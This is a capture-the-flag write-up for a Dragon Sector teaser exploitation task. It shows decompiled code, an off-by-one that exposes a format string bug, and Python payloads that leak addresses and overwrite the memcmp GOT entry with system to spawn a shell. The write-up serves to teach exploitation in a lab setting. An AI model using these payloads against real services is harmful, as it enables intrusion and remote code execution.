The Dragon Sector team put together a nice teaser CTF for the CONFidence security confidence held in Krakow. Here is the writeup for the exploitation task.
Finding the vulnerability
Let's see how the application works. Fortunately it works with stdout right away, and then it's bound to a socket later on, so we don't need to take care of that during debugging. This is also a minor hint for later, which I didn't realize at the time.
So you can select an operation and then supply the argument count and the arguments themselves. Then you get the result along with a quote, which is unique for all operations.
One thing we can find without any reversing is an info leak. If we use 'pow' with just one argument for example, the other argument will be a leaked address (as an integer). Maybe this will be useful later on.
Let's fire up IDA and look for vulnerabilities.
We can see right away that the operations are stored in an array at 0x3B00. There is a name, a quote and a handling function for each operation.
First things first, we look at the main function.
v8 = *MK_FP(__GS__, 20);
setbuf(stdout, 0);
puts("Welcome to Multipurpose Calculation Machine!");
for ( i = 0; i <= 2; ++i )
{
print_menu();
printf("Choice: ");
read_count = read(0, &input, 63u);
if ( !read_count )
break;
*(&input + read_count) = 0;
newline_idx = strchr(&input, '\n');
if ( newline_idx )
*newline_idx = 0;
for ( j = 0; *(void **)((char *)&operations + 3 * j + 8) != 0; ++j )
{
op_len = strlen((const char *)*(&operations + 3 * j));
if ( !memcmp(&input, *(&operations + 3 * j), op_len) )
(*(void (__cdecl **)(char *, signed int, _DWORD, char *))((char *)&operations + 3 * j + 8))(
&format_buf,
308,
*(void **)((char *)&operations + 3 * j + 4),
&input);
}
}
result = 0;
if ( *MK_FP(__GS__, 20) != v8 )
sub_2090();
return result;
The memcp used to find the operation that we want is a bit fishy here. It uses the operation's length when comparing, so we can essentially enter addAAAA... and still access the add operation. This will be useful later. We can see that the user input is 63 characters at max. Otherwise this function just looks up the opeartion and calls it's handling function with some parameters (format string buffer, n=308, the quote used and the input the user supplied).
Now let's see the handling function for the first operation (add). After some renaming, we get the following C code:
v11 = 10;
printf("[%s] Choose the number of parameters: ", op);
scanf("%u", ¶m_count);
if ( (unsigned int)param_count <= 10 )
{
for ( i = 0; i < param_count; ++i )
{
printf("[%s] Provide parameter %u: ", op, i + 1);
scanf("%u", ¶ms[i]);
}
print_to_string(char_buf, 0x1000u, op, msg_of_day, params, param_count);
strncpy(output_buf, char_buf, n);
for ( j = 0; j < n; ++j )
{
if ( output_buf[j] == '%' )
output_buf[j] = '_';
}
printf(output_buf);
sum = 0LL;
for ( k = 0; k < param_count; ++k )
sum += (unsigned int)params[k];
result = printf("[%s] The sum of provided numbers is %llu\n", op, sum);
}
else
{
result = printf("[%s] Too many arguments!\n", op);
}
return result;
The huge red flag here is that the program is manually replacing the '%' signs instead of using puts on the output. There has to be a format string vulnerability here (or the creator of the task is just messing with us).
We know that the value of 'n' is 308.
Unfortunately, we only copy 308 characters into the string, so every '%' will be replaced. But wait a second! If we could somehow overflow the terminating zero at the end of the buffer, the original user input, which specified the operation to use in the main function would also be printed. (Because this is the value immediately next to the buffer on the stack in main). Then, our format string would be evaluated.
The next step is a quest to look for the longest possible output. Here is the format of the string:
[<operation>] Message of the day: <quote>, operands: [<op 1>, <op 2>, ..., <op n>]
After some manual search, we find that 'tan' will result in the longest output. First of all, the operation string is the same one supplied by the user, so it's 63 characters at most. Then we have to find the longest integer we can supply. Since it is signed, we can gain an extra character with negative values. The longest value we can get is "-1111111111". Adding everything up, we get a buffer that is 307 characters long. But wait a second, there is a newline at the end we forgot to count! So we have our vulnerability after all. Let's test it now.
That's a beautiful address we just leaked there, and proof that our vulnerability works.
Pwning the service
So how do we go about pwning the task now?
I made a big mistake here, and didn't spend enough time doing 'recon' before diving into things, and I missed that there is a very helpful function at 0x0D20, which basically calls
system("/bin/sh") for us. All I saw was that
system is among the symbols, so my idea was to replace one of the functions in the got with system's address (heh,
very original, I know).
My idea was to replace
memcmp with
system, so in the next turn, our input is evaluated.
Finding the system function
So how do we find where the
system function is on the remote host? Well, we already have an info leak, let's use the leaked address. We can measure the offset between the leaked address and system locally and use that in the remote exploit, depending on what address we leaked.
Fortunately the leaked address will be useful, because it's in the bss segment. It points to the buffer at 0x3BC0.
memcmp in the got is at 0x3A78, while
system is at 0x3A84. With this, we get offsets of -0x148 and -0x13C respectively.
Our goal is to write the value
at 0x3A84 (or wherever it is remotely, we already know this from the leak) into 0x3A78. So we need one more step here, to leak the value at 0x3A84. It will also be relative to the leaked address. To do this, we have to start writing the exploit.
def send_payload(payload):
global s
payload = payload + "A" * (63 - len(payload))
s.recv(1024)
s.send(payload + "\n")
s.recv(1024)
s.send("9\n")
for x in range(9):
s.recv(1024)
s.send("-1111111111\n")
res = s.recv(1024)
return res.split("\n")[1]
This function will send our payload and return the leaked value to us. The first address can be leaked like this:
# Leak address
payload = "tan %08x "
result = send_payload(payload)
result = result.split("[")[0].split(" ")[1:-1]
leaked_addr = int(result[0], 16)
How can we now leak a value at a specific address?
Leaking system's address
We can use the %s format to leak values. %s will pick up an address from the stack, and print the string located there. Another trick is to use %X$s, where X specifies the index to use from the stack. Now we have to find (locally, using gdb) where our input is on the stack.
(gdb) start
(gdb) b *0x56556dcf
(gdb) r
Choice: tanAAAA
<run until breakpoint is triggered>
(gdb) x/256x $esp
0xffffd100: 0xffffd1a8 0x56558bc0 0x00000134 0x565573d8
0xffffd110: 0xffffd138 0x00000001 0x00000000 0xf7d5893c
0xffffd120: 0xf7e94a20 0x0000000a 0x000000b7 0x56555000
0xffffd130: 0x56555464 0x00003a78 0x00000001 0xf7cef700
0xffffd140: 0xf7e94a20 0xf7cf88f8 0xf7d3385b 0xf7e93ff4
0xffffd150: 0x00000000 0x56558a68 0x56558b00 0x00000000
0xffffd160: 0x00000134 0x00000001 0x00000001 0x00000009
0xffffd170: 0xffffd2dc 0x56558a68 0xffffd338 0x56555cb7
0xffffd180: 0xffffd1a8 0x00000134 0x565573d8 0xffffd2dc
0xffffd190: 0xf7ef3b98 0x00000008 0xffffd2e3 0x00000008
0xffffd1a0: 0x00000000 0x00000003 0x6e61745b 0x41414141
0xffffd1b0: 0x654d205d 0x67617373 0x666f2065 0x65687420
And we can see 0x41414141 at 0xffffd1a0, which means we need to access the stack from the 43rd address. Let's find
system's value for real.
# Kids, don't code like this at home
result = send_payload("tan" + system_got_addr + " >>>%43$s<<< ")
system_value = result.split(">>>")[1].split("<<<")[0][0:4][::-1].encode('hex')
print "System:", system_value
offset = leaked_addr - int(system_value, 16)
print "Offset:", offset
The offset will be 13010, which is 0x32D2 in hex.
The good old arbitrary write
Now that we know everything, only one step remains. We have to write (leaked_addr - 0x32D2) at (leaked_addr - 0x148). This is easy to do using %hhn to replace the value byte-by-byte. You can find the final exploit here:
https://gist.github.com/balidani/ab8429bc7b59af7bed8c
Then, to get code execution we have to initiate a third calculation. This time, our input will be passed to system instead of memcmp. And this is what happens:
$ ls -lsa
total 28
4 drwxr-xr-x 2 root root 4096 Apr 26 08:15 .
4 drwxr-xr-x 3 root root 4096 Apr 25 23:21 ..
4 -rw-r--r-- 1 root root 71 Apr 25 23:22 flag.txt
16 -rwxr-xr-x 1 root root 12580 Apr 26 08:15 pwn200
[ls -lsa] Choose the number of parameters:
$ cat flag.txt
DSCTF_d7b9926c37e5e6b1f796abaf8a3ae7a26050ddb78c4685985321f03d6fd273ba
I think the tasks were very nice on this CTF, thanks to Dragon Sector! I will certainly be looking forward to more of their CTFs in the future.